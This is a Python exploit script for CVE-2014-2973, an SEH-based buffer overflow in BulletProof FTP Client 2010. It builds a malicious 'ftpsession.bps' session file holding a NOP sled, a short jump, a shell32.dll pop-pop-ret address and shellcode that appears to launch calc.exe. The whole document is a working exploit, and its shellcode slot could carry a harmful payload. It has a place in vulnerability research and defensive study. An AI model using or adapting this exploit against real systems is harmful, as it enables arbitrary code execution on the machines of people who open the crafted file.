# !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit #
# Date: Sep 05 2014 #
# Vulnerability Discovery: Gabor Seljan #
# Exploit Author: Robert Kugler #
# Software Link: http://www.bpftp.com/ #
# Version: 2010.75.0.76 #
# Tested on: Windows XP #
# CVE: CVE-2014-2973 #
# #
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-) #
# The "Enter URL" form is also vulnerable #
#-----------------------------------------------------------------------------#
buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
"\x2E\x65\x78\x65"
"\x68\x63\x61\x6C"
"\x63\x8B\xC4\x6A" # 36 bytes
"\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
"\xfd\xe4\x77\xFF"
"\xD3\x33\xc0\x50"
"\xc7\xc0\x8f\x4a"
"\xe5\x77\xff\xe0")
buffer+= "\x90" * (1000 - len(buffer))
# Just load the "BP Session" and click on "Connect".
file = open("ftpsession.bps","w")
file.write(buffer)
file.close()